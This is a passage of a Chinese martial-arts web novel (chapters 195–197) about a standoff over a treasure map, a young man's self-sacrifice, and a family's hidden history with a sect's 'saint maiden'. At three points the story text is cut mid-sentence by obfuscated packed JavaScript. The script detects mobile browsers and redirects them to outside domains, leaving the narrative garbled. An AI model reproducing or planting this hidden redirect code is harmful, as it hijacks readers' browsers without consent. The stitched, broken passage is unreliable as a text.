“你们早在十八年前就脱离了天魄门,这时候还指望让师兄考虑你们的死活,做梦!” “若没有我们这些人点头,文远骥能安稳坐到这个位子上吗?”张久辉跟着发声。 麻磊也插进来,冲文远骥遥遥拜倒:“文门主,此间这么多人的性命都系于你一身,咱们同在武林,讲求侠义,你可不能见死不救。” 薛粲也爬上几步,扒住文远骥的脚面哭求:“这个女娃娃本来就活不久,用她的一条命换我们这么多人的命,还是划算的……” 丁经业也嘟囔道:“不过是个女娃儿,死了也就死了……” 文远骥岂能听得下去,他一脚踢开薛粲,正要开言,却见苏茂霖已经扑到丁经业身上,攥住他的衣领将他提了起来:“你再敢多放一个屁,我就扭断你的脖子!”吓得丁经业立刻求饶。 自听到所谓圣女的功用后,紫璇终于能有些许释怀,至少自己的至亲之人并没有把她当成辟毒的工具。 她环顾四周,捕捉到了一道又一道在自己和文远骥之间逡巡的目光,焦躁不安的同时又夹杂着极度的恐惧。她又看向身前捏紧拳头隐忍怒意的文远骥,哪怕直不起腰也要冲着众人怒目而视的苏茂霖,彼此对视摇头叹息的许淑平和骆雁声,还有焦急无措地跑向自己的贺新韵,受了伤伤口还在渗血的江珺翊、陆文渊……她突然有些明白,十年前为什么晗月甘愿放弃自己的生命。 她闭上眼深深吸了一口气,待所有的情绪褪去,再睁开眼时面上已如死水般沉静。 紫璇缓步走到文远骥前面,面对着魏菘泽,短短几步已经想好了接下来要说什么:“我可以留下,藏宝图也可以给你。” 文远骥想要阻拦,紫璇打断了他,继续说道,“但你必须遵守诺言,放这些人走。” 威胁终于奏效,魏菘泽喜不自胜,却还是不敢让手离开机括,只站在原地回道:“那是自然!” “不行!你不能留下!”苏茂霖喊了一句,却咳出一口血来,江邵谦立马扶住他。许淑平走过来,张了口却没说任何话,眼中全是不忍。 “姥姥,把图给我。” “前辈!” “师娘!” 文远骥和江邵谦都围了过来。紫璇却只看着许淑平一人,神色刚毅、不容分说。 许淑平犹豫着取出适才藏在怀中的藏宝图,还没有想好要不要按照她说的办,就被紫璇使出擒拿手将图捏在了手中。 下一刻,紫璇短剑上挑,已贴住了自己脖颈。速度之快,就连只距她一步之遥的文远骥都没能阻止。 “我要看到他们全部安全地离开这所宅子。若你敢再设限阻拦或是出什么阴谋诡计伤害他们,我会立刻寻死。没了新鲜的圣女之血,我看你拿什么启开宝藏,救你儿子的命?!” “那不成!要是你变卦自刎怎么办?”魏菘泽仍不放心。 “这是我能做出的最大让步,你要是不愿意,那我们就一起死。” 魏菘泽沉吟不语,目光紧紧盯住紫璇手中短剑。紫璇坚定回视着他,手上用力,已然划破了颈中油皮。 文远骥和苏茂霖同时大惊,魏菘泽也慌忙叫了一声。只不过,他惊呼的对象却不是紫璇,而是正从喜堂后面跑来的魏若琛。 他匆匆奔至紫璇身边,喘着气向魏菘泽大喊:“停手!都停手!” 温叔从喜堂离开后便赶到后院,要带他离开魏宅,魏若琛觉得甚是蹊跷,便使了一点心计,假作不适,让温叔去找自己平日里救急的丸药,自己则趁机跑了出来。得亏这一个月来,骆雁声药方管用,这样剧烈的跑动之下,他也只脸色暗红、心跳地比平日里略微快一些而已。 他刚刚行至后门,便听到父亲以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14222735|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火药相威胁。再到紫璇道出魏菘泽多番筹谋的真正目的,又甘愿用自己拯救此间数十人的性命,魏若琛才一点一点明白过来,原来父亲所有的设计和行动都是为了他。 魏菘泽急得抢上两步,还未开口,就听到儿子着急的声音:“紫璇说的是什么意思?你不准骗我!” 魏菘泽这才软了点语气:“天魄门的宝藏中,霞影魂乃仙人所授,只要服上那么一点儿就可以百病痊愈,延年益寿。它比任何的名医神药都厉害,等我取到了,你就可以活下来,娶妻生子,一生顺遂,再也不用受那病痛的折磨,好不好?” “要拿到这个东西,和紫璇有什么相干?” “宝藏藏于毒窟,只有用她的血献祭才能解毒免祸,咱们才能把霞影魂取出来。” “也就是说,要救我就得先牺牲她的性命?” “这有什么?!为了救你,一个小小女子的性命有什么打紧。就算最后要了我的命,爹爹也不会眨一下眼睛!”魏菘泽眼神真挚,为了儿子,他是真的什么都愿意做。 此情此景看在魏彦成眼中,无异于将他的心揉搓成一团再狠狠摔在地上,生疼却发不出一点儿声音。同样是他的儿子,为什么会有这么大的不同。自己究竟哪一点比不上这个病秧子,以至于一句好话都得不到? 魏若琛同样无法承受,他开始剧烈地喘气,脸色红到发黑。眼看着他即将发病,骆雁声即刻蹲到他脚边,一下一下帮他捋着脊背。紫璇则轻车熟路地自魏若琛袖中取出药瓶,喂了一丸药给他。 明明是敌对之人,却如此尽心尽力地照顾他的儿子,即便是魏菘泽,也不免柔软了心肠。 半响,魏若琛终于镇定了下来,但双颊绯红,气息不稳,仍带着病容。 “我宁可死,也不会吃你用这种方法弄来的药!”魏若琛硬是聚起一口气,冲也蹲在他面前的魏菘泽低吼。 魏若琛却根本听不出他话中的厌恶和恼恨,仿佛在安抚自己一般说道:“你放心!我在这里埋了炸药,要是他们不留下藏宝图和这个丫头,谁都走不出去。霞影魂是我们的,谁都抢不走。” 魏若琛微微抬头,对上魏菘泽兴奋到泛起潮红的脸色,惧意从心头涌起,这里有这么多人,有自家的护卫、温叔,还有那个不常见面的弟弟,以及紫璇和她的家人朋友,为了他,父亲竟然要尽数摧毁。 不待他说出下一句话,魏菘泽便从众人面前倒了下去,再次翻起时,手又扣在了机括之上。刚刚,苏茂霖趁着他与儿子对话之机,扑过来想抢下他腕上机关,但他受了伤,迅捷不如魏菘泽,非但没能达成目的,反倒让自己趴在了地上。 然而却几乎无人关心他此刻的模样,众人的眼珠子都紧紧盯着魏菘泽,生怕他一个不小心就会点燃火药。 “不可以!”想到所有人因他而死的惨烈场面,三个字下意识的从魏若琛口中蹦了出来。 “别怕,文远骥不是神仙,他走不出我的火药阵……” “我说不可以!我宁可死,也不愿意你为了我再害人!”魏若琛大吼,打断了继续向他保证的魏菘泽。 温情的语调瞬间消失,魏菘泽竖起眉毛:“我都是为了你好!你怎么这么不懂事。”然后向已经赶过来正在探头的温叔招手:“快把他送走。” 然而,魏若琛早有了决断,略一侧身,就抢在紫璇之前拿起了她适才为了帮忙放在他身旁的短剑,横在了自己脖子上。 195. 鱼死网破(三) “放他们走,否则我立马撞上去!”魏若琛根本拿不稳剑,却硬是努力让它紧紧贴在自己脖颈上。 他竟然威胁我!为了他的性命我甘愿付出一切,他却弃如敝履,竟然用它来威胁我!魏菘泽难以置信地摇了摇头,猩红从额头蔓延到脖间,似乎下一刻就会从他的嘴里喷出火来。 魏彦成立刻跑过来,贴心地扶住有些站不稳的父亲,小心翼翼问道:爹,我们怎么办?” 魏若琛眼神坚决,捎带着病容都褪去几分。看着如此陌生的儿子,魏菘泽的脸上的红色不由自主地逐渐消退,最终变得无比苍白,然后整个人都泄了气。 扣着机括的手被放下,随之扬手让围在院子四周的守卫让出一条路来。命令刚下,堂中所有人都兴奋地你拖着我我拽着你,哪怕力气不够也要急忙忙往外走。就连守卫们也在暗中松了一口气,一场惨祸消弭于无形,自己也因此捡回了一条命。 欣慰又紧张的气氛中,只有魏彦成一人变了脸色。他本以为,魏若琛不知好歹、忤逆父亲,至少会得到一句呵斥。却见父亲只是轻轻放手,就此妥协了。 面前被围困的可是天魄门的核心,即便不用炸药这般不利于己的方法,也不能如此轻易放过。他有心争辩两句,但魏菘泽积威已久,在此当口他不敢有半点忤逆,只能跟上父亲,慢慢地走在众人之后。 一路上,魏菘泽都担心地望着魏若琛,生怕他一个拿不稳用剑伤到自己。 然而,魏若琛行的极稳,握住剑的手连一丝颤动也无。陆文渊在前引路,带着众人步出魏宅侧门,齐建霄和齐熙宁在远处看到他们,即刻打马,上前接应。 紫璇停下来,自魏若琛手中拿回短剑,真诚地对他说了声:“谢谢,你又救了我一次。” 魏若琛灿然一笑:“咱们是朋友嘛。” “是朋友!”紫璇也笑了。 轻松舒畅也只持续了这一瞬间,魏菘泽见儿子放下剑,紫璇又单独留在后面,立刻从后方扑出,意图擒拿紫璇。他记得分明,藏宝图刚刚就在她那里,只要抓住她,宝藏就还是他的。 可他没想到的是,文远骥和苏茂霖虽然走在前面,却一直留意着紫璇。眼见后方一道黑影闪过,二人同时出手,一个冲着黑影击出一掌,另一个则护在了紫璇身后。 魏菘泽和苏茂霖同时中掌,魏菘泽被逼退数步,倒在了魏彦成的身上,苏茂霖再度吐血,虽未咽气,却也奄奄一息。 魏若琛的心被陡然悬起,是啊,只要自己还活着,父亲就还会想方设法抢宝藏、害紫璇,为了他不断杀人。他抬头看了一眼魏菘泽,或许是因为文远骥刚才使得力道很大,他的腰有些直不起来,脸上也失去了大半血色。 第一次,魏若琛发觉魏菘泽鬓边生出了白发,眼角也爬满了皱纹,已不再是他印象中那个精明强干、无往不利的父亲了。为了他,魏菘泽操劳半生,却一无所获,将来也必定会继续奔波下去。 那就让一切早一些结束吧。他最后看了一眼正往自己而来的魏菘泽,以及在他身后不远望向自己,辨不出悲喜的魏彦成,把心一横,转身直冲向紫璇,趁着她尚在惊疑之际扶着剑刃插入了自己的胸膛。 紫璇半蹲在地上,右手扶着苏茂霖,左手硬拉着魏若琛,头脑顿时陷入一片空白。 魏菘泽脸色血色全部褪去,跪在魏若琛身边,伸出来的两只手抖如筛糠,探了几下都没能抓住儿子的胳膊。 赶来的骆雁声先瞟了一眼魏若琛,才又转向另一侧的苏茂霖,蹲下为他把脉。许淑平也上前瞧了一眼,剑穿胸而过,他又素有心疾,明显没有指望了。 “爹,”魏若琛积攒起最后的精神,笑对着附身下来的魏菘泽:“都结束了……你还有弟弟,过好下半生……” “不!你不准死,你要敢死,我必然会杀了他们给你陪葬!”魏菘泽双目猩红,已然失去理智。 “不!”魏菘泽声量一大,紧跟着咳嗽起来,鲜血自口中涌出,魏菘泽怔忡在原地,再也没了声音。 “你听我的,好好活着,否则我就……就……白死了……”魏若琛艰难地牵住父亲颤抖的手,想用力却再也没有半分力气。 他转了转眼珠,最后看了一眼正目中含泪焦急盯着苏茂霖的紫璇,心中默念:“我……我也不后悔。你也要好好活着……不要忘了我。” ************************* 伤口涌出的血越来越多,方乂安却一声不吭,只管拉着儿子往偏僻处跑。瑾瑜还牵挂着喜堂之中的紫璇,但想到增援已至,魏菘泽即将落败,这份担心便压下去不少。 于是他也终于有精力发觉父亲的呼吸声虽着时间推移越来越大,想起他的伤势,他不再犹豫,运起轻功,一举跃出墙外。 杨邠正焦急得等在不远处,这是方乂安提前嘱咐他前来接应的地点。 “杨叔!”看到他,瑾瑜雀跃起来,他立马将受伤的方乂安塞到他身边,“你在这可太好了!爹受了伤,需得赶紧止血。” 然后便返身欲走,却被方乂安用力拉了回来:“你干什么去?!” “我回去看一眼,看看璇儿和文门主他们有没有脱离险境。” “回来!你去能干什么?” 方乂安此刻的焦躁令瑾瑜很是不安:“你是不是知道什么?魏菘泽还有后招对不对?” 其实方乂安对魏菘泽预先埋伏下火药的部署并不知情,他只是本能地觉着魏菘泽为了得到宝藏什么都做得出来,也必然会在高手围堵之外安排更惨烈的法子。是以,当魏菘泽即将落败,他才急忙不顾一起地带儿子离开,对他来说,别人的安危他无法保全,但儿子的性命无论如何也要保住。 方乂安越是缄口不言,瑾瑜就越是惊慌,他甩开方瑾瑜的手,刚要转身,脑后却突然受到一股大力,然后便晕了过去。 再次醒来时,他已经回到了湖州家中,身侧是一直守着的杨焕。 “我怎么在这?”瑾瑜揉着尚有些发蒙的脑袋,望着窗外的朦胧夜色,一时间没能想起来在自己身上发生了什么事情,但是下意识觉得自己不应该在这儿。 “是我爹把少爷你带回来的,”杨焕到了一杯茶递给他,“还有老爷。走的水路,刚到没几个时辰,你就醒了。” 对,他终于记起来了,爹受了伤……还有,还有紫璇……瑾瑜立马坐起来,却因为眼冒金星愣是顿了一下才说话:“我爹呢,还有……天魄门的那些人,他们怎么样了?” 杨焕支吾片刻,最终才将实话告诉了坐立不安的瑾瑜:天魄门什么的他并不知道,但是方乂安过世了。 如五雷轰顶,瑾瑜登时被抽干了力气:“怎么会……” 直到这时,拉住自己奋力穿行在魏宅甬道中、后背血迹斑斑的方乂安才终于闯入脑中,他明明伤得那么重,却还是拼了命要保证自己的安全。 对任性妄为的悔恨和因失去父亲的心痛汇成无尽的眼泪和无声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以往他总想把儿子护在自己的羽翼之下,远离灾祸是非、安稳度日就是对他最大的希冀。可这一次,他突然意识到儿子真的长大了,不知道是不是受了那个女子的影响,不仅功夫见涨,还变得沉稳冷静,行事果断,不再是少时那个喜欢啼哭又颇有些优柔寡断的孩子了。 也亏得如此,他才能放心离去。自己庸懦半生,不管是躲避抑或是依附,都是为了好好活着,可最终还是躲不开命运的翻覆,致使至亲之人一个个离自己而去。至少在最后,瑾瑜还在,他也有了保护自己、不被他人裹挟的底气。 这辈子他左右摇摆,既没能护住父兄,也害了两个女子。将死之际,唯余悔恨。 对齐雅雯,他为了逃避真心、麻醉自己娶了她。一开始他努力想做一个体贴妻子的丈夫,琴瑟和谐、举案齐眉,却还是在长久的岁月中暴露出勉强和不甘,齐雅雯因此受伤,再也不愿同他生活在一个屋檐下。 对晗月……他屈从于父亲的命令,眼睁睁看着她步入牢笼,被利用、牺牲,甚至她的女儿都逃不出命运的轮回。他本以为自己可以封闭萌动的春心,忘记她,如父亲说的那样过安稳的日子……可事实是,他做不到……晗月的影子一直萦绕着他,他忘不掉也得不到,悔恨和懊恼总会在午夜梦回时啃噬他的心,一次又一次提醒他,自己这一生过得有多么糟糕。 如果能够重来一次,或许他可以像瑾瑜一样,学会反抗,哪怕力量有限也要试着保护所爱之人,而不是把她推出去,维持脆弱的安宁。 只可惜,人永远不可能重来一次,他的一生只会带着这样的遗憾走向结局。 ————第二卷完———— 196. 工具(一) “爹怎么会结识魏菘泽?”魏菘泽道出方乂安的来历时瑾瑜并不在场,这个疑问只能由杨邠解开。 杨邠略一抬头,将目光投向了更远一些的方家先祖们,这才缓缓开口:“方式一族是天魄门开派祖师褚慕瑶的后人。苏明启为了迎回圣女,这才找到了老爷的父亲方孝荣。” “圣女?”瑾瑜这才记起,魏菘泽威胁文远骥时,除了藏宝图,的确还要求将“圣女留下”。如今再回忆起喜堂之上紫璇被围在中央的情形,许多事便有了新的意味。 “圣女又是什么?她和方家有什么关系?” 杨邠张了张嘴巴却没有出声,似乎有些难以启齿,良久才叹了一口气,将整件事的原委讲了出来。 原来,晗月并非方氏一族的女儿,也不是什么圣女传人,只是方家为了消灾免祸找来的孤儿。 方家世代以酿酒为生,因遇瘟疫人丁流散,主支也逐渐迁至江南,最后才在湖州定居下来,时光流转,到方乂安这里已经是第三代了。 三十多年前,苏明启矢志振兴天魄门,第一要务便是寻回圣女传人,便安排河东谢氏和西河贺家四处打探,整整花了三年功夫,才终于找到了方孝荣。 来人将他带至太白山,苏明启专横跋扈,要求他立刻去族人中寻找一名年纪不大且体质阴寒的女孩,还威胁他,如办事不力,找不来圣女的传人,他还有他的父母家人必当身首异处。 无奈之下,方孝荣立刻启程,几乎踏遍了方式一族散居的各个地方,却最终发现,并无一个符合苏茂霖要求的女子。 当时陪同方孝荣寻找圣女传人的是贺永诏,眼看着苏明启催逼得越来越急,圣女传人却毫无着落,方孝荣只得求到贺永诏面前,他愿意将全部家产献出,只要他能够到苏明启面前为方家求求情。 贺永诏最清楚苏明启的脾气,圣女关乎天魄门振兴,他绝不会允许此时有一丁点出入。可他同时也知道方孝荣寻不出圣女,且他本是商户出生,一声未曾见过刀光剑影,若因此事全家屠戮,真真算得上是飞来横祸。 于是,他便为方孝荣出了个主意,让他尽快去乡下寻一个符合要求的女孩儿来,对外只说是自己的远方侄女。贺永诏猜到,苏明启还没有找到藏宝图,并不会这么早把圣女带回门中,只要方孝荣尽快找到合适的女子,在家里悉心教养,过得个一两年,送上太白山便不会引人怀疑。 晗月被找到时只有四五岁,因身子骨弱极易生病险些被家人抛弃。方孝荣便给了她父母一些钱财,将小姑娘带回了湖州,还给她起名叫“晗月”。 在贺永诏的帮衬下,苏明启只遣了医者前来,查验无误后便嘱咐他好生抚育圣女。没多久,方孝荣便因为这件“功劳”被封为右护法,他的长子被送往太白山,美其名曰门主特别恩典,将授之以独门绝学,实际上是作为人质,让方家安心拱其驱使。 方孝荣在郊外筑起舒园,遣了下人照顾晗月。因为愧疚,也是为了蒙蔽苏明启,晗月的衣食起居皆和富家小姐无异,贺永诏也按照苏明起的安排送来了医者和护卫,医者负责以天魄门古籍所载调理晗月的身体,护卫则兼备保护圣女和防范方家的双重作用。 不过,贺永诏极为有心,他送来的护卫并非凶神恶煞之徒,方孝荣又极其配合,从未惹过麻烦,每日余暇时护卫便会指点彼时尚不足十岁方乂安习武。 也是因为如此,方乂安自小同晗月一起长大,晗月在花园练琴,他便在一旁练功。 找寻藏宝图并没有贺永诏预计的那么顺利,一直到十年后,十五岁的方晗月才被苏明启接回太白山,并以祖师褚慕瑶之后的名义正式被封为“圣女”。 方孝荣本以为,安安稳稳地养大晗月又将其送走,方家就能够远离是非,从此回归自在无忧的生活。谁又能想到,这一切只是开始。 有关天魄门的一切事情,方孝荣都没有告诉方乂安,他既不清楚大哥去了哪里,为何这么多年都不回家;更不知道晗月的真实身份和她如今的处境。 晗月走后方乂安着实怅惘了一阵子,然后便被父亲催促着娶了妻又生了儿子。 突然有一天,方孝荣风尘仆仆地从外面回来,神色慌张、六神无主。在方乂安的追问之下,方孝荣从才道出实情:晗月逃出了太白山,至今下落不明,苏明启雷霆大怒,他的哥哥已经被看押了起来,每日严刑拷打。 方孝荣无法继续隐瞒,只能将天魄门和晗月之事的首尾尽数告诉小儿子,还说如果晗月找不回来,方家上下只有死路一条。 也不知是幸还是不幸,晗月同苏茂霖私奔后无处可去又手头拮据,又不敢找其他江湖中人求助,便只好回到湖州,希望方乂安施以援手。 方乂安包了几十两纹银给晗月,犹豫再三还是把这件事告诉了父亲。方孝荣急忙去通报,却不想真正打开了地狱的大门。 原来,魏菘泽料到晗月极有可能远赴江南,便主动接过了到这一代寻找圣女的差事。方孝荣刚把晗月出现在湖州方家的消息透露给他,他立即安排得力部署,以湖州为起点四处探查。 没花几天时间,魏菘泽的人便在湖州下面的一个镇上发现了苏茂霖和晗月,一路尾随,最终在一家药铺之中打晕了苏茂霖、掳走了晗月。 然而,魏菘泽并没有按照苏明启的命令将两人送回太白山,而是以方家所有人的性命要挟方乂安将二人藏好,无论谁来问询都必须装出一无所知的样子。 就这样,晗月虽然回到了舒园,却也过上了再无自由的日子。而远在天魄门的方家长子,也在数次逼问之下没了性命。 彼时,晗月已经有了身孕,身子极不舒服,又担心苏茂霖遭到不测,百般煎熬。方乂安瞧在眼里,除了心疼愧疚也别无他法。父亲还在魏菘泽手里,他不能心软。 可是他的惊惶、焦虑却逃不过齐雅雯的眼睛。无论齐雅雯怎么问他都不敢说出实情,夫妻两因此生了口角,齐雅雯一气之下带着幼小的瑾瑜回了娘家。方乂安反倒因此松了一口气,长风镖局声势正隆,有齐建霄的庇护,魏菘泽必不能轻易伤害到她们娘俩。 晗月的肚子一天天大起来,若非这个孩子,她或许早就生出了寻死之心。可一想到孩子一旦降生也要面临和她一样的命运,她仍旧无法摆脱抑郁和焦虑。眼看着她精神委顿,似乎下一刻就会撒手人寰,方乂安的恻隐之心便再也无法压抑。 晗月被送回舒园后一直由方乂安负责看管。在晗月的哀求下,方乂安瞒下了她怀有身孕的事,未曾向魏菘泽上报。也是因为如此,晗月生病了都不敢请大夫,生怕有一丝消息走漏,既害了方家,也害了她的孩子。他向晗月承诺,等孩子生下来,他会想办法把孩子送走,这才稳住了晗月,让她重新有了求生的意志。 紫璇出生当晚,只在晗月怀中呆了一小会儿,就被方乂安裹在襁褓之中放入竹篮,沿着园中水道送了出去。那一晚,他辗转反侧,总能梦见一个在水中啼哭不已最终淹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14271968|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的女婴。第二天天不亮他就叫来杨邠,嘱咐他沿着水道下游一路寻找,务必要找到晗月的女儿。 可惜的是,杨邠一连找了三日,还是一无所获,方乂安只得作罢。 然而,晗月在生产过后,本就虚弱的身体更是一落千丈,寒症侵体,立时就有性命之忧。左近的大夫均束手无策,方乂安霎时间六神无主,一心只向让她活下去。 焦急之中蓦然记起晗月曾对他提过苏明启的遗孀医术高明,她在天魄门时寒症有所缓解全赖她悉心调治,他顾不得许多,立刻写了一封信派人加急送往太白山,指明要把信交给魏菘泽的对头文远骥。 方乂安远在江南,又素不了解天魄门中的各方势力和如今争斗的情况,他仅从晗月口中听到过一些文远骥的事情,本能地认为比起魏菘泽,文远骥应该更在乎晗月的安危。 然后方乂安便将晗月转移到长兴,等人被许淑平接走后才长舒了一口气。那时的他还十分天真,自以为若魏菘泽追问起来,他把所有责任推到文远骥头上就行了。 但他不知道的是,晗月的出现竟增加了文远骥夺回门主之位的砝码。文远骥武功高强,又有苏明启遗孀许淑平和弟子江邵谦的支持,最后再加上得到圣女青睐这一点,名分煞是充足。苏明启麾下旧部又何必再为他人做嫁衣裳呢。 彼时魏若琛尚未发病,魏菘泽一心只盯着门主之位,本想先扣住圣女,等藏宝图到手便可继续苏明启的宏图伟业。方乂安的善意同时毁掉了这两个可能,他焉能不怒。他先以极其残忍的手段处死了方孝荣,继而威胁方乂安,若还敢放走苏茂霖,他还有他的妻儿便会和方孝荣一个下场。 方乂安亲眼目睹父亲惨死,本就不多的反抗意识被消磨殆尽,自此之后便兢兢业业做起了牢头,不涉江湖也成为了方家的家训。 苏茂霖越狱潜逃,方乂安吓得魂不附体,硬着头皮向魏菘泽禀告。幸运的是,魏菘泽只气了一瞬便想到了如何利用这个变故。他告诉方乂安,若苏茂霖找到他询问天魄门的情况,他务必将苏明启的死引向文远骥,还必须把晗月已经嫁给文远骥为妻的消息也告诉苏茂霖,最好让他疑心追索他和晗月、致使他委身囚牢的人就是如今天魄门的门主文远骥。 事情果如魏菘泽所料,方乂安按照他的指示煽动了苏茂霖向文远骥寻仇。也不知道在太白山上到底发生了什么,自此之后魏菘泽竟然再也没有找过他。 直到事情过去了一年,他才小心翼翼地向一些往来的江湖草莽打听,得知文远骥的夫人死在了夺门之变之中。他并不清楚苏茂霖和魏菘泽在其中发挥了什么作用,却很清楚方家后来的和平是晗月间接赐予的。 晗月离世,危机似乎结束了,一直强撑着的方乂安也终于病倒。他在病中不慎叫出了晗月的名字,引来的齐雅雯的怀疑。方乂安不想再隐瞒,虽未和盘托出,却也把自己少年时对另一个女子的情愫说了出来。 齐雅雯不能接受,当即要与之和离。方乂安心中有愧,没有挽留。 这之后的日子回归安稳,正当方乂安以为魏菘泽已经熄了争夺门主的心时,余漱事发,杨焕死里逃生,带回了瑾瑜失踪的消息。 杨邠四处打听,得知余漱手上有天魄门的藏宝图。他这才意识到,魏菘泽又出手了。虽然他将儿子从魏菘泽的手中救了出来,却也不得不说出晗月当年还有一个女儿的秘密。就这样,在多年之后,方家再一次让另一个女子踏上了晗月当年的命运。 197. 工具(二) 魏菘泽抱着儿子已经凉透的尸身,表情凝滞,一言不发,已经在地上坐了数个时辰。温叔来劝也不管用,其他下人更是不敢从他手中去抢少爷的尸体,于是装殓的事便被一再搁置。 除了这小小一隅,魏宅内外皆是一片忙碌,既要清理各种打斗杀戮留下的痕迹,也要加紧准备魏若琛的灵堂奠仪。 “少主,喜堂之外埋藏的火药已经尽数清除。” 黄昆来报,魏彦成轻摇折扇,只吩咐了一句:“火药难得,你安排人妥善存放。” 黄昆领命而去。少停,吴宏也赶来汇报清点宅内护卫的结果:“这一回主人将十五名高手尽数派来,其中八人战死,三人重伤,尚余四人;宅中各处护卫共百名,如今仍有战力的还剩下三十四人。 魏彦成翻开吴宏呈上来的花名册,一边浏览一边道:“按照旧例,给每个人再添上一百两,把抚恤银子发下去。这几个高手的家眷,你要亲自去。” 吴宏应下后离开,魏彦成这才起来,去往后院。后院此刻早已撤下了原本红色为主的各式铺陈,帐幔、灯笼等物皆换成了白色,下人们匆匆来去,悄无声息,更显得整所宅院萧索荒凉,和今日最开始时的喜庆氛围形成鲜明对比。 魏彦成脚步轻快,一路小跑来到魏菘泽所在的后堂,在门口遇上了温叔。 经过数次尝试,魏菘泽终于有了反应,愿意听温叔的建议,尽早将魏若琛的尸身装殓。魏彦成瞟了一眼躺在担架上遗容平静如水的魏若琛,荡漾的笑意瞬间消失。 魏若琛虽是他同父异母的兄长,但二人自小便分居两地,彼此并不亲近。再加上魏若琛几乎占去了父亲全部的注意力,魏彦成便更不喜欢他,在他的印象中,二人似乎从未有过对话。 温叔负责照顾魏若琛,虽然知道魏彦成的存在,却并未把他当作主人,见了他也是淡淡的。魏彦成的笑意并没有逃过他的眼睛,只是当着魏菘泽的面,他不好说什么,于是只敷衍地点了两下头便走了。 温叔极不恭敬的样子令魏彦成很是不快,但他并没有表现出来。 “爹。” 魏彦成上前,行了礼便开始详细汇报起宅中守卫及死者抚慰等事, 刚说了没两句,就被魏菘泽打断:“这些事你打点清楚便可,不必说给我知道。” 魏彦成有些诧异,以往他办了差事,无论大小,魏菘泽都会让他把经过和结果细细讲来。 今日…… 他暗中抬眼觑了一眼父亲,赫然发现素来挺拔、不怒自威的魏菘泽竟猫着腰窝在坐榻之上,眼神空洞,仿若被抽干了灵魂。 “爹。” 他又叫了一声,魏菘泽似被惊醒,抬起头用力地看了几眼,然后又失望地闭上了眼睛。 魏彦成只困惑了一瞬,随即明白过来,魏菘泽刚才把他当成了魏若琛,发觉不是才露出那般表情。 进门前隐约的雀跃立刻消失,心也跟着酸胀起来。刚才在里外忙碌时,魏彦成还曾一度有些快慰:父亲最疼爱的儿子没了,或许他便可以把注意力分一些给自己。 他居然忘了,死去之人更容易占据父亲的心扉,或许从今往后自己都不可能超过他在父亲心目中的地位了。 他按捺住一阵阵泛起的苦涩,走近些,蹲下来,试图安慰魏菘泽:“爹,你还有我。” 魏菘泽却轻轻摇了摇头,自顾自呢喃着:“回不来了……” 杜彦成脸色微变,但还是尽可能柔声道:“爹,你放心,儿子会加倍努力,重新把藏宝图和文紫璇抢回来,宝藏和天魄门,都只会是我们的。” “不用了……”魏菘泽苦笑着又摇了摇头,“若琛走了,就算拿到了宝藏,成了门主,于我又有何意趣。” “爹谋划半生,多年来东奔西走,难道就只是为了让兄长多活几年吗?” 白天得知父亲所有计划的真正目的时涌上来的那份讶异和背叛感趁虚而入,魏彦成渐渐不能控制自己的表情了。 魏菘泽缄默不语,似乎是在默认他的说法。 魏彦成倏得站起,大声道:“爹,你又何必欺骗自己!若你只在乎他的寿命,只需拿到藏宝图和圣女即可,做什么遍邀天魄门旧部,非要当着他们的面羞辱文远骥呢?” 魏菘泽神色骤变,终于肯抬头对着他,嘴巴半张,却始终没有发出一点声音。 “别人或许不知,我可是清清楚楚!”魏彦成看着如此陌生的父亲,怒气喷薄而出,“苏明启生前一直在文远骥和自己的儿子之间摇摆不定,从未把你列入继任者人选。你不甘心,一面拉拢不服文远骥的人,一面私下培植自己的势力,一心只记挂着门主的宝座,连你的妻子生了重病都浑然不觉。那时候你的宝贝儿子心疾尚未发作,若说你做这一切都是为了那颗据说能救命的霞影魂,谁信??” 魏菘泽眉心跳动,瞪视着他的第二个儿子,慢慢地也带上了脾气:“你是怎么知道这些事情的??” 魏彦成转过身子,躲开父亲的眼睛,带着戳破真相的快意冷笑着:“这算什么!我还知道,您当年设法接近我的母亲,并非出自真心,而是看上了她的万贯家财。” 魏菘泽不敢相信这句话竟会从一向乖顺的次子口中说出来,猛地从榻上站起,手指着魏彦成颤抖不已。 “就是因为发现了这件事,我娘才抑郁成疾,一病不起。我只有六岁,六岁!就再也没有了娘亲,也同时失去了父亲……” 魏彦成突然大笑了几声,回过头直直对上魏菘泽的目光:“枉我自小战战兢兢,还以为是我不够听话、练武不够用心才不得你的喜欢……哪里知道,从头至尾,我娘、我,还有整个杜家都被你看成了实现欲望和野心的工具!你会在意一个工具吗,不会!只要他听话、好用,能发挥出最大的价值就行了,不是吗?!!” 面对他的控诉,魏菘泽恼羞成怒,竟然跳过来准备挥拳打落。然而他受了伤,出手便不如先前迅速,魏彦成只用了一招就架住他的手,让他无法再有动作。 